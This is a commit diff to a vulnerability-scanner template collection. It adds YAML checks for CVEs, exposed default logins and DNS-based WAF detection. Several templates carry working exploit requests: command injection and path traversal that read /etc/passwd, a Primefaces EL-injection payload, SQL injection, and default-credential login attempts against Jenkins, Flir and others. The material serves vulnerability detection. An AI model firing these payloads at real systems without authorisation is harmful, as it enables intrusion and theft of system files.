strict matcher

Added zenario-login-panel

.github/workflows/syntax-checking.yml

@@ -1,4 +1,4 @@
-name: syntax-checking
+name: ❄️ YAML Lint
 
 on: [push, pull_request]
 

.github/workflows/update-readme.yml

@@ -1,4 +1,4 @@
-name: "Auto Update README"
+name: 📝 Readme Update
 
 on:
   push:

.nuclei-ignore

@@ -8,7 +8,6 @@
 # unless asked for by the user.
 
 tags: 
-  - "headless"
   - "dos"
   - "iot"
   - "misc"

README.md

@@ -38,13 +38,13 @@ An overview of the nuclei template directory including number of templates assoc
 
 | Templates        | Counts                         | Templates       | Counts                          | Templates      | Counts                       |
 | ---------------- | ------------------------------ | --------------- | ------------------------------- | -------------- | ---------------------------- |
-| cves             | 310           | vulnerabilities | 152 | exposed-panels | 127 |
-| takeovers        | 67        | exposures       | 99       | technologies   | 67   |
-| misconfiguration | 62 | workflows       | 30         | miscellaneous  | 20  |
-| default-logins   | 26 | exposed-tokens  | 0  | dns            | 8            |
-| fuzzing          | 9          | helpers         | 8         | iot            | 11            |
+| cves             | 325           | vulnerabilities | 176 | exposed-panels | 144 |
+| takeovers        | 67        | exposures       | 105       | technologies   | 97   |
+| misconfiguration | 66 | workflows       | 31         | miscellaneous  | 22  |
+| default-logins   | 30 | exposed-tokens  | 0  | dns            | 9            |
+| fuzzing          | 9          | helpers         | 8         | iot            | 12            |
 
-**105 directories, 1083 files**.
+**110 directories, 1189 files**.
 
 </td>
 </tr>

cves/2009/CVE-2009-0545.yaml

@@ -0,0 +1,20 @@
+id: CVE-2009-0545
+
+info:
+  name: ZeroShell <= 1.0beta11 Remote Code Execution
+  author: geeknik
+  description: cgi-bin/kerbynet in ZeroShell 1.0beta11 and earlier allows remote attackers to execute arbitrary commands via shell metacharacters in the type parameter in a NoAuthREQ x509List action.
+  reference: https://www.exploit-db.com/exploits/8023
+  severity: critical
+  tags: cve,cve2009,zeroshell,kerbynet,rce
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/cgi-bin/kerbynet?Section=NoAuthREQ&Action=x509List&type=*%22;/root/kerbynet.cgi/scripts/getkey%20../../../etc/passwd;%22"
+
+    matchers:
+      - type: regex
+        part: body
+        regex:
+          - "root:[x*]:0:0:"

cves/2014/CVE-2014-3744.yaml

@@ -0,0 +1,25 @@
+id: CVE-2014-3744
+
+info:
+  name: Node.js st module Directory Traversal
+  author: geeknik
+  description: Directory traversal vulnerability in the st module before 0.2.5 for Node.js allows remote attackers to read arbitrary files via a %2e%2e (encoded dot dot) in an unspecified path.
+  reference: |
+    - https://github.com/advisories/GHSA-69rr-wvh9-6c4q
+    - https://snyk.io/vuln/npm:st:20140206
+  severity: high
+  tags: cve,cve2014,lfi,nodejs,st
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd"
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: regex
+        regex:
+          - "root:[x*]:0:0:"

cves/2016/CVE-2016-10033.yaml

@@ -37,7 +37,6 @@ requests:
         part: body
         regex:
           - 'Author:(?:[A-Za-z0-9 -\_="]+)?<span(?:[A-Za-z0-9 -\_="]+)?>([A-Za-z0-9]+)<\/span>'
-          - 'ocation: https:\/\/[a-z0-9.]+\/author\/([a-z]+)\/'
 
     matchers-condition: and
     matchers:

cves/2017/CVE-2017-1000486.yaml

@@ -0,0 +1,33 @@
+id: CVE-2017-1000486
+
+info:
+  name: Primetek Primefaces 5.x EL Injection - RCE
+  author: Moritz Nentwig
+  severity: critical
+  description: Primetek Primefaces 5.x is vulnerable to a weak encryption flaw resulting in remote code execution
+  reference: |
+      - https://github.com/mogwailabs/CVE-2017-1000486
+      - https://github.com/pimps/CVE-2017-1000486
+      - https://blog.mindedsecurity.com/2016/02/rce-in-oracle-netbeans-opensource.html
+      - https://nvd.nist.gov/vuln/detail/CVE-2017-1000486
+  tags: cve,cve2017,primetek,rce
+
+requests:
+  - raw:
+      - |
+        POST /javax.faces.resource/dynamiccontent.properties.xhtml HTTP/1.1
+        Host: {{Hostname}}
+        Connection: close
+        Content-Length: 160
+        Accept: */*
+        Accept-Language: en
+        Content-Type: application/x-www-form-urlencoded
+        Accept-Encoding: gzip, deflate
+
+        pfdrt=sc&ln=primefaces&pfdrid=uMKljPgnOTVxmOB%2BH6%2FQEPW9ghJMGL3PRdkfmbiiPkUDzOAoSQnmBt4dYyjvjGhVbBkVHj5xLXXCaFGpOHe704aOkNwaB12Cc3Iq6NmBo%2BQZuqhqtPxdTA%3D%3D
+
+    matchers:
+      - type: word
+        words:
+          - 'Mogwailabs: CHECKCHECK'
+        part: header

cves/2017/CVE-2017-14535.yaml

@@ -0,0 +1,32 @@
+id: CVE-2017-14535
+
+info:
+  name: Trixbox - 2.8.0.4 OS Command Injection Vulnerability
+  author: pikpikcu
+  severity: high
+  reference: |
+        - https://secur1tyadvisory.wordpress.com/2018/02/11/trixbox-os-command-injection-vulnerability-cve-2017-14535/
+        - https://www.exploit-db.com/exploits/49913
+  tags: cve,cve2017,trixbox,rce
+
+requests:
+  - raw:
+      - |
+        GET /maint/modules/home/index.php?lang=english|cat%20/etc/passwd HTTP/1.1
+        Host: {{Hostname}}
+        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
+        Accept-Language: de,en-US;q=0.7,en;q=0.3
+        Authorization: Basic bWFpbnQ6cGFzc3dvcmQ=
+        Connection: close
+        Cache-Control: max-age=0
+
+    matchers-condition: and
+    matchers:
+
+      - type: regex
+        regex:
+          - "root:[x*]:0:0"
+
+      - type: status
+        status:
+          - 200

cves/2017/CVE-2017-3528.yaml

@@ -0,0 +1,21 @@
+id: CVE-2017-3528
+
+info:
+  name: Oracle E-Business Suite 12.1.3/12.2.x - Open Redirect
+  author: 0x_Akoko
+  severity: low
+  reference: |
+      - https://blog.zsec.uk/cve-2017-3528/
+      - https://www.exploit-db.com/exploits/43592
+  tags: oracle,redirect
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/OA_HTML/cabo/jsps/a.jsp?_t=fredRC&configName=&redirect=%2f%5cexample.com"
+
+    matchers:
+      - type: word
+        words:
+          - 'noresize src="/\example.com?configName='
+        part: body

cves/2018/CVE-2018-0296.yaml

@@ -11,12 +11,16 @@ requests:
   - method: GET
     path:
       - "{{BaseURL}}/+CSCOU+/../+CSCOE+/files/file_list.json?path=/sessions"
+    headers:
+      Accept-Encoding: deflate
+
     matchers-condition: and
     matchers:
       - type: word
         words:
           - "///sessions"
         part: body
+
       - type: status
         status:
           - 200

cves/2018/CVE-2018-12634.yaml

@@ -1,4 +1,4 @@
-id: circarlife-system-log
+id: CVE-2018-12634
 
 info:
   name: Exposed CirCarLife System Log
@@ -6,7 +6,7 @@ info:
   description: CirCarLife is an internet-connected electric vehicle charging station
   reference: https://circontrol.com/
   severity: medium
-  tags: scada,circontrol,circarlife,logs
+  tags: cve,cve2018,scada,circontrol,circarlife,logs
 
 requests:
   - method: GET

cves/2019/CVE-2019-17270.yaml

@@ -8,10 +8,7 @@ info:
     - https://www.exploit-db.com/exploits/47760
     - https://nvd.nist.gov/vuln/detail/CVE-2019-17270
   description: |
-    Yachtcontrol software is being used for controlling several aspects on yachts, as the name implies. Having access to the webapplication,
-    it's possible to control several items such as lights, powergenerator, solarcontrol, airco, wipers, heating and other components
-    Websoftware is built in PHP and mostly runs on a Linux based firmware device, controlling several other components related to the Yacht
-    Other related software running on the same firmware device are custom compiled ELF binaries for controlling related onboard devices
+    A vulnerability in Yachtcontrol makes it possible to perform direct Operating System commands as an unauthenticated user via the "/pages/systemcall.php?command={COMMAND}" page and parameter, where {COMMAND} will be executed and returning the results to the client. Affects Yachtcontrol webservers disclosed via Dutch GPRS/4G mobile IP-ranges. IP addresses vary due to DHCP client leasing of telco's.
   tags: rce,yachtcontrol,cve,cve2019
 
 requests:

cves/2020/CVE-2020-15227.yaml

@@ -0,0 +1,29 @@
+id: CVE-2020-15227
+
+info:
+  name: Nette Framework RCE
+  author: becivells
+  severity: high
+  description: Nette versions before 2.0.19, 2.1.13, 2.2.10, 2.3.14, 2.4.16, 3.0.6 are vulnerable to an code injection attack by passing specially formed parameters to URL that may possibly leading to RCE. Nette is a PHP/Composer MVC Framework.
+  reference: |
+      - https://nvd.nist.gov/vuln/detail/CVE-2020-15227
+      - https://github.com/nette/application/security/advisories/GHSA-8gv3-3j7f-wg94
+      - https://www.pwnwiki.org/index.php?title=CVE-2020-15227_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E#
+      - https://github.com/Mr-xn/Penetration_Testing_POC/blob/02546075f378a9effeb6426fc17beb66b6d5c8ee/books/Nette%E6%A1%86%E6%9E%B6%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C(CVE-2020-15227).md
+  tags: cve,cve2020,nette,rce
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/nette.micro/?callback=shell_exec&cmd=cat%20/etc/passwd&what=-1"
+
+    matchers-condition: and
+    matchers:
+
+      - type: regex
+        regex:
+          - "root:[x*]:0:0:"
+
+      - type: status
+        status:
+          - 200

cves/2020/CVE-2020-19625.yaml

@@ -1,3 +1,4 @@
+id: CVE-2020-19625
 info:
   name: Gridx 1.3 RCE
   author: geeknik
@@ -26,4 +27,4 @@ requests:
         part: body
         group: 1
         regex:
-          - "<h1 class=\"p\">PHP Version ([0-9.]+)<\/h1>"
+          - '<h1 class=\"p\">PHP Version ([0-9.]+)<\/h1>'

cves/2020/CVE-2020-35736.yaml

@@ -0,0 +1,26 @@
+id: CVE-2020-35736
+
+info:
+  name: GateOne Arbitrary File Download
+  author: pikpikcu
+  severity: high
+  description: GateOne 1.1 allows arbitrary file download without authentication via /downloads/.. directory traversal because os.path.join is misused.
+  reference: |
+    - https://github.com/liftoff/GateOne/issues/747
+    - https://nvd.nist.gov/vuln/detail/CVE-2020-35736
+  tags: cve,cve2020,gateone,lfi
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/downloads/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd'
+
+    matchers-condition: and
+    matchers:
+      - type: regex
+        regex:
+          - "root:[x*]:0:0:"
+
+      - type: status
+        status:
+          - 200

cves/2020/CVE-2020-36112.yaml

@@ -0,0 +1,33 @@
+id: CVE-2020-36112
+
+info:
+  name: CSE Bookstore 1.0 SQL Injection
+  author: geeknik
+  description: CSE Bookstore version 1.0 is vulnerable to time-based blind, boolean-based blind and OR error-based SQL injection in pubid parameter in bookPerPub.php. A successfull exploitation of this vulnerability  will lead to an attacker dumping the entire database.
+  reference: |
+      - https://www.exploit-db.com/exploits/49314
+      - https://www.tenable.com/cve/CVE-2020-36112
+  severity: critical
+  tags: cve,cve2020,sqli,cse
+
+requests:
+  - raw:
+      - |
+        GET /ebook/bookPerPub.php?pubid=4' HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
+        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
+        Accept-Language: en-US,en;q=0.5
+        Accept-Encoding: gzip, deflate
+        DNT: 1
+        Connection: close
+        Cookie: PHPSESSID=c4qd3glr3oe6earuf88sub6g1n
+        Upgrade-Insecure-Requests: 1
+
+    matchers:
+      - type: word
+        part: body
+        words:
+          - "get book price failed! You have an error in your SQL syntax"
+          - "Can't retrieve data You have an error in your SQL syntax"
+        condition: or

cves/2020/CVE-2020-5776.yaml

@@ -6,7 +6,7 @@ info:
   severity: high
   description: Currently, all versions of MAGMI are vulnerable to CSRF due to the lack of CSRF tokens. RCE (via phpcli command) is possible in the event that a CSRF is leveraged against an existing admin session for MAGMI.
   reference: https://www.tenable.com/security/research/tra-2020-51
-  tags: cve,cve2020,magmi
+  tags: cve,cve2020,magmi,magento
 
   # Due to the lack of CSRF tokens, RCE (via phpcli command) is possible
   # in the event that a CSRF is leveraged against an existing admin session for MAGMI.

cves/2020/CVE-2020-5777.yaml

@@ -6,7 +6,7 @@ info:
   severity: high
   description: MAGMI versions prior to 0.7.24 are vulnerable to a remote authentication bypass due to allowing default credentials in the event there is a database connection failure.
   reference: https://github.com/dweeves/magmi-git/blob/18bd9ec905c90bfc9eaed0c2bf2d3525002e33b9/magmi/inc/magmi_auth.php#L35
-  tags: cve,cve2020,magmi
+  tags: cve,cve2020,magmi,magento
 
   # Response code 503 indicates a potential successful "Too many connections" error
   # While the Db connection is down, you can access http://[TARGET]/magmi/web/magmi.php

cves/2020/CVE-2020-9054.yaml

@@ -4,7 +4,20 @@ info:
   name: ZyXEL NAS RCE
   author: dhiyaneshDk
   severity: critical
-  reference: https://nvd.nist.gov/vuln/detail/CVE-2020-9054
+  description: |
+    Multiple ZyXEL network-attached storage (NAS) devices running firmware version 5.21 contain a pre-authentication command injection vulnerability, which may allow a remote, unauthenticated attacker to execute arbitrary code on a vulnerable device.
+    ZyXEL NAS devices achieve authentication by using the weblogin.cgi CGI executable. This program fails to properly sanitize the username parameter that is passed to it.
+    If the username parameter contains certain characters, it can allow command injection with the privileges of the web server that runs on the ZyXEL device.
+    Although the web server does not run as the root user, ZyXEL devices include a setuid utility that can be leveraged to run any command with root privileges.
+    As such, it should be assumed that exploitation of this vulnerability can lead to remote code execution with root privileges.
+    By sending a specially-crafted HTTP POST or GET request to a vulnerable ZyXEL device, a remote, unauthenticated attacker may be able to execute arbitrary code on the device.
+    This may happen by directly connecting to a device if it is directly exposed to an attacker.
+    However, there are ways to trigger such crafted requests even if an attacker does not have direct connectivity to a vulnerable devices.
+    For example, simply visiting a website can result in the compromise of any ZyXEL device that is reachable from the client system.
+    Affected products include: NAS326 before firmware V5.21(AAZF.7)C0 NAS520 before firmware V5.21(AASZ.3)C0 NAS540 before firmware V5.21(AATB.4)C0 NAS542 before firmware V5.21(ABAG.4)C0 ZyXEL has made firmware updates available for NAS326, NAS520, NAS540, and NAS542 devices. Affected models that are end-of-support: NSA210, NSA220, NSA220+, NSA221, NSA310, NSA310S, NSA320, NSA320S, NSA325 and NSA325v2
+  reference: |
+    - https://krebsonsecurity.com/2020/02/zyxel-fixes-0day-in-network-storage-devices/
+    - https://www.zyxel.com/support/remote-code-execution-vulnerability-of-NAS-products.shtml
   tags: cve,cve2020,rce
 
 requests:

cves/2020/CVE-2020-9490.yaml

@@ -1,10 +1,10 @@
 id: CVE-2020-9490
 
 info:
-  name: CVE-2020-9490 Apache HTTP Server versions 2.4.20 to 2.4.43. A specially crafted value for the 'Cache-Digest' header in a HTTP/2 request would result in a crash when the server actually tries to HTTP/2 PUSH a resource afterwards. Configuring the HTTP/2 feature via "H2Push off" will mitigate this vulnerability for unpatched servers.
-  author: philippedelteil
+  name: CVE-2020-9490
   severity: medium
-  description: Detects apache versions 2.4.43, 2.4.39, 2.4.38, 2.4.37, 2.4.35, 2.4.34, 2.4.33, 2.4.30, 2.4.29, 2.4.28, 2.4.27, 2.4.26, 2.4.25, 2.4.23, 2.4.20 that are POTENTIALLY vulnerable to CVE-2020-9490
+  description: Apache HTTP Server versions 2.4.20 to 2.4.43. A specially crafted value for the 'Cache-Digest' header in a HTTP/2 request would result in a crash when the server actually tries to HTTP/2 PUSH a resource afterwards. Configuring the HTTP/2 feature via "H2Push off" will mitigate this vulnerability for unpatched servers.
+  author: philippedelteil
   tags: cve,cve2020,apache,dos
   reference: |
         - https://httpd.apache.org/security/vulnerabilities_24.html
@@ -18,22 +18,7 @@ requests:
       - "{{BaseURL}}"
 
     matchers:
-      - type: word
-        words:
-          - "Apache/2.4.20"
-          - "Apache/2.4.23"
-          - "Apache/2.4.25"
-          - "Apache/2.4.26"
-          - "Apache/2.4.27"
-          - "Apache/2.4.28"
-          - "Apache/2.4.29"
-          - "Apache/2.4.30"
-          - "Apache/2.4.33"
-          - "Apache/2.4.34"
-          - "Apache/2.4.35"
-          - "Apache/2.4.37"
-          - "Apache/2.4.38"
-          - "Apache/2.4.39"
-          - "Apache/2.4.43"
+      - type: regex
+        regex:
+          - "Apache/2\\.4\\.([3-3][0-9]|2[0-9]|4[0-3])"
         part: header
-        condition: or

cves/2021/CVE-2021-21985.yaml

@@ -0,0 +1,31 @@
+id: CVE-2021-21985
+
+info:
+  name: VMware vSphere Client (HTML5) RCE
+  author: D0rkerDevil
+  severity: critical
+  description: |
+    The vSphere Client (HTML5) contains a remote code execution vulnerability due to lack of input validation in the Virtual SAN Health Check plug-in which is enabled by default in vCenter Server. A malicious actor with network access to port 443 may exploit this issue to execute commands with unrestricted privileges on the underlying operating system that hosts vCenter Server.
+  reference: |
+    - https://nvd.nist.gov/vuln/detail/CVE-2021-21985
+    - https://www.vmware.com/security/advisories/VMSA-2021-0010.html
+    - https://github.com/alt3kx/CVE-2021-21985_PoC
+  tags: cve,cve2021,rce,vsphere
+
+requests:
+  - raw:
+      - |
+        POST /ui/h5-vsan/rest/proxy/service/com.vmware.vsan.client.services.capability.VsanCapabilityProvider/getClusterCapabilityData HTTP/1.1
+        Host: {{Hostname}}
+        Accept: */*
+        Content-Type: application/json
+        Content-Length: 86
+        Connection: close
+
+        {"methodInput":[{"type":"ClusterComputeResource","value": null,"serverGuid": null}]}
+
+    matchers:
+      - type: word
+        words:
+          - '{"result":{"isDisconnected":'
+        part: body

cves/2021/CVE-2021-24176.yaml

@@ -0,0 +1,27 @@
+id: CVE-2021-24176
+
+info:
+  name: WordPress JH 404 Logger XSS
+  author: Ganofins
+  severity: medium
+  description: JH 404 Logger WordPress plugin through 1.1 doesn't sanitise the referer and path of 404 pages, when they are output in the dashboard, which leads to executing arbitrary JavaScript code in the WordPress dashboard.
+  references: |
+      - https://wpscan.com/vulnerability/705bcd6e-6817-4f89-be37-901a767b0585
+      - https://wordpress.org/plugins/jh-404-logger/
+  tags: cve,cve2021,wordpress,wp-plugin,xss
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/wp-content/plugins/jh-404-logger/readme.txt"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "JH 404 Logger"
+        part: body
+
+      - type: status
+        status:
+          - 200

cves/2021/CVE-2021-27651.yaml

@@ -0,0 +1,41 @@
+id: CVE-2021-27651
+
+info:
+  name: Pega Infinity Authentication bypass
+  author: idealphase
+  description: In versions 8.2.1 through 8.5.2 of Pega Infinity, the password reset functionality for local accounts can be used to bypass local authentication checks.
+  reference: |
+      - https://github.com/samwcyo/CVE-2021-27651-PoC/blob/main/RCE.md
+      - https://nvd.nist.gov/vuln/detail/CVE-2021-27651
+  severity: critical
+  tags: cve,cve2021,pega,auth-bypass
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/prweb/PRAuth/app/default/"
+
+    cookie-reuse: true
+    redirects: true
+    max-redirects: 2
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+
+      - type: word
+        words:
+          - "Pega Infinity"
+        part: body
+
+      - type: regex
+        regex:
+          - 'Pega 8\.(?:2\.[1-9]|3\.[0-9]|4\.[0-9]|5\.[0-2])'
+        part: body
+
+    extractors:
+      - type: regex
+        regex:
+          - 'Pega 8\.(?:2\.[1-9]|3\.[0-9]|4\.[0-9]|5\.[0-2])'
+        part: body

cves/2021/CVE-2021-27850.yaml

@@ -0,0 +1,57 @@
+id: CVE-2021-27850
+
+info:
+  name: Apache Tapestry - Arbitrary class download
+  description: |
+    A critical unauthenticated remote code execution vulnerability was found all recent versions of Apache Tapestry. The affected versions include 5.4.5, 5.5.0, 5.6.2 and 5.7.0. The vulnerability I have found is a bypass of the fix for CVE-2019-0195. Recap: Before the fix of CVE-2019-0195 it was possible to download arbitrary class files from the classpath by providing a crafted asset file URL.
+  author: pdteam
+  severity: critical
+  reference: |
+      - https://nvd.nist.gov/vuln/detail/CVE-2021-27850
+  tags: cve,cve2021,apache,tapestry
+
+requests:
+  - raw:
+      - |
+        GET /assets/app/something/services/AppModule.class/ HTTP/1.1
+        Host: {{Hostname}}
+        Origin: {{BaseURL}}
+        Connection: close
+        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko)
+        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
+        Accept-Language: en-US,en;q=0.9
+      - |
+        GET /assets/app/{{id}}/services/AppModule.class/ HTTP/1.1
+        Host: {{Hostname}}
+        Origin: {{BaseURL}}
+        Connection: close
+        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko)
+        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
+        Accept-Language: en-US,en;q=0.9
+
+    extractors:
+      - type: regex
+        regex:
+          - '\/assets\/app\/([a-z0-9]+)\/services\/AppMod'
+        internal: true
+        name: id
+        part: header
+        group: 1
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+
+      - type: word
+        words:
+          - 'application/java'
+        part: header
+
+      - type: word
+        words:
+          - 'configuration'
+          - 'webtools'
+        part: body
+        condition: and

cves/2021/CVE-2021-29622.yaml

@@ -0,0 +1,20 @@
+id: CVE-2021-29622
+
+info:
+  name: Prometheus v2.23.0 to v2.26.0, and v2.27.0 Open Redirect
+  author: geeknik
+  description: In 2.23.0, Prometheus changed its default UI to the New ui. To ensure a seamless transition, the URL's prefixed by /new redirect to /. Due to a bug in the code, it is possible for an attacker to craft an URL that can redirect to any other URL, in the /new endpoint.
+  reference: https://github.com/prometheus/prometheus/security/advisories/GHSA-vx57-7f4q-fpc7
+  severity: medium
+  tags: cve,cve2021,prometheus,redirect
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/new/newhttp://example.com"
+
+    matchers:
+      - type: regex
+        regex:
+          - '(?m)^(?:Location\s*?:\s*?)(?:https?://|//)?(?:[a-zA-Z0-9\-_\.@]*)example\.com.*$'
+        part: header

cves/2021/CVE-2021-30461.yaml

@@ -4,7 +4,7 @@ info:
   name: VoipMonitor Pre-Auth-RCE
   author: shifacyclewala,hackergautam
   severity: critical
-  description: A malicious actor can trigger Un authenticated Remote Code Execution using CVE-2021-30461.
+  description: Use of user supplied data, arriving via web interface allows remote unauthenticated users to trigger a remote PHP code execution vulnerability in VoIPmonitor.
   tags: cve,cve2021,rce,voipmonitor
   reference: https://ssd-disclosure.com/ssd-advisory-voipmonitor-unauth-rce/
 

cves/2021/CVE-2021-33564.yaml

@@ -0,0 +1,23 @@
+id: CVE-2021-33564
+
+info:
+  name: Argument Injection in Ruby Dragonfly
+  author: 0xsapra
+  severity: critical
+  reference: https://zxsecurity.co.nz/research/argunment-injection-ruby-dragonfly/
+  tags: cve,cve2021,rce,ruby
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/system/images/W1siZyIsICJjb252ZXJ0IiwgIi1zaXplIDF4MSAtZGVwdGggOCBncmF5Oi9ldGMvcGFzc3dkIiwgIm91dCJdXQ=="
+      - "{{BaseURL}}/system/refinery/images/W1siZyIsICJjb252ZXJ0IiwgIi1zaXplIDF4MSAtZGVwdGggOCBncmF5Oi9ldGMvcGFzc3dkIiwgIm91dCJdXQ=="
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: regex
+        regex:
+          - "root:[x*]:0:0:"

default-logins/arl/arl-default-password.yaml

@@ -0,0 +1,29 @@
+id: arl-default-password
+
+info:
+  name: ARL Default Password
+  author: pikpikcu
+  severity: high
+  tags: arl,default-login
+
+requests:
+  - method: POST
+    path:
+      - "{{BaseURL}}/api/user/login"
+    headers:
+      Content-Type: application/json; charset=UTF-8
+    body: |
+      {"username":"admin","password":"arlpass"}
+
+    matchers-condition: and
+    matchers:
+
+      - type: word
+        words:
+          - '"message": "success"'
+          - '"username": "admin"'
+          - '"type": "login"'
+        condition: and
+      - type: status
+        status:
+          - 200

default-logins/dvwa/dvwa-default-login.yaml

@@ -3,6 +3,7 @@ info:
   name: DVWA Default Login
   author: pdteam
   severity: critical
+  tags: dvwa,default-login
 
 requests:
   - raw:

default-logins/flir/flir-ax8-default-credentials.yaml

@@ -0,0 +1,41 @@
+id: flir-default-credentials
+
+info:
+  name: Flir Default Credentials
+  author: pikpikcu
+  severity: medium
+  tags: default-login,flir
+
+requests:
+  - raw:
+      - |
+        POST /login/dologin HTTP/1.1
+        Host: {{Hostname}}
+        Content-Length: 35
+        Accept: */*
+        X-Requested-With: XMLHttpRequest
+        Content-Type: application/x-www-form-urlencoded; charset=UTF-8
+        Accept-Encoding: gzip, deflate
+        Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
+        Connection: closen
+
+        user_name=admin&user_password=admin
+
+    matchers-condition: and
+    matchers:
+
+      - type: word
+        words:
+          - '"success"'
+
+      - type: dsl
+        dsl:
+          - contains(tolower(all_headers), 'text/html')
+          - contains(tolower(all_headers), 'phpsessid')
+          - contains(tolower(all_headers), 'showcameraid')
+
+        condition: and
+
+      - type: status
+        status:
+          - 200

default-logins/jenkins/jenkins-default.yaml

@@ -0,0 +1,50 @@
+id: jenkins-weak-password
+
+info:
+  name: Jenkins Weak Password
+  author: Zandros0
+  severity: high
+  tags: jenkins,default-login
+
+requests:
+  - raw:
+      - |
+        GET /login HTTP/1.1
+        Host: {{Hostname}}
+
+      - |
+        POST /j_spring_security_check HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/x-www-form-urlencoded
+        Cookie: {{cookie}}
+
+        j_username=admin&j_password=admin&from=%2F&Submit=Sign+in
+
+      - |
+        POST /j_spring_security_check HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/x-www-form-urlencoded
+        Cookie: {{cookie}}
+
+        j_username=jenkins&j_password=password&from=%2F&Submit=Sign+in
+
+      - |
+        GET / HTTP/1.1
+        Host: {{Hostname}}
+        Cookie: {{cookie}}
+
+    extractors:
+      - type: regex
+        name: cookie
+        internal: true
+        part: header
+        regex:
+          - 'JSESSIONID\..*=([a-z0-9.]+)'
+
+    req-condition: true
+    matchers:
+      - type: dsl
+        dsl:
+          - 'contains(body_4, "/logout")'
+          - 'contains(body_4, "Dashboard [Jenkins]")'
+        condition: and

default-logins/szhe/szhe-default-password.yaml

@@ -0,0 +1,33 @@
+id: szhe-default-password
+
+info:
+  name: Szhe Default Password
+  author: pikpikcu
+  severity: low
+  tags: szhe,default-login
+  vendor: https://github.com/Cl0udG0d/SZhe_Scan
+
+requests:
+  - method: POST
+    path:
+      - "{{BaseURL}}/login/"
+    headers:
+      Content-Type: application/x-www-form-urlencoded
+    body: |
+      [email protected]&password=springbird&remeber=true
+
+    matchers-condition: and
+    matchers:
+
+      - type: word
+        words:
+          - 'You should be redirected automatically to target URL: <a href="/">/</a>'
+
+      - type: word
+        words:
+          - 'Set-Cookie: session'
+        part: header
+
+      - type: status
+        status:
+          - 302

default-logins/xxljob/xxljob-default-login.yaml

@@ -22,11 +22,16 @@ requests:
       - type: word
         words:
           - '"code":200'
+          - '"msg"'
+          - '"content"'
+        condition: and
 
       - type: word
         words:
           - 'application/json'
+          - 'XXL_JOB_LOGIN_IDENTITY'
         part: header
+        condition: and
 
       - type: status
         status:

dns/dns-waf-detect.yaml

@@ -0,0 +1,172 @@
+id: dns-waf-detect
+
+info:
+  name: DNS WAF Detection
+  author: lu4nx
+  severity: info
+  tags: tech,waf,dns
+
+dns:
+  - name: "{{FQDN}}"
+    type: CNAME
+    recursion: true
+    retries: 5
+    class: inet
+
+  - name: "{{FQDN}}"
+    type: NS
+    recursion: true
+    retries: 5
+    class: inet
+
+    matchers:
+      - type: word
+        name: sanfor-shield
+        words:
+          - ".sangfordns.com"
+
+      - type: word
+        name: 360panyun
+        words:
+          - ".360panyun.com"
+
+      - type: word
+        name: baiduyun
+        words:
+          - ".yunjiasu-cdn.net"
+
+      - type: word
+        name: chuangyudun
+        words:
+          - ".365cyd.cn"
+          - ".cyudun.net"
+
+      - type: word
+        name: knownsec
+        words:
+          - ".jiashule.com"
+          - ".jiasule.org"
+
+      - type: word
+        name: huaweicloud
+        words:
+          - ".huaweicloudwaf.com"
+
+      - type: word
+        name: xinliuyun
+        words:
+          - ".ngaagslb.cn"
+
+      - type: word
+        name: chinacache
+        words:
+          - ".chinacache.net"
+          - ".ccgslb.net"
+
+      - type: word
+        name: nscloudwaf
+        words:
+          - ".nscloudwaf.com"
+
+      - type: word
+        name: wangsu
+        words:
+          - ".wsssec.com"
+          - ".lxdns.com"
+          - ".wscdns.com"
+          - ".cdn20.com"
+          - ".cdn30.com"
+          - ".ourplat.net"
+          - ".wsdvs.com"
+          - ".wsglb0.com"
+          - ".wswebcdn.com"
+          - ".wswebpic.com"
+          - ".wsssec.com"
+          - ".wscloudcdn.com"
+          - ".mwcloudcdn.com"
+
+      - type: word
+        name: qianxin
+        words:
+          - ".360safedns.com"
+          - ".360cloudwaf.com"
+
+      - type: word
+        name: baiduyunjiasu
+        words:
+          - ".yunjiasu-cdn.net"
+
+      - type: word
+        name: anquanbao
+        words:
+          - ".anquanbao.net"
+
+      - type: regex
+        name: aliyun
+        regex:
+          - '\.w\.kunlun\w{2,3}\.com'
+
+      - type: regex
+        name: aliyun-waf
+        regex:
+          - '\.aliyunddos\d+\.com'
+          - '\.aliyunwaf\.com'
+          - '\.aligaofang\.com'
+          - '\.aliyundunwaf\.com'
+
+      - type: word
+        name: xuanwudun
+        words:
+          - ".saaswaf.com"
+          - ".dbappwaf.cn"
+
+      - type: word
+        name: yundun
+        words:
+          - ".hwwsdns.cn"
+          - ".yunduncname.com"
+
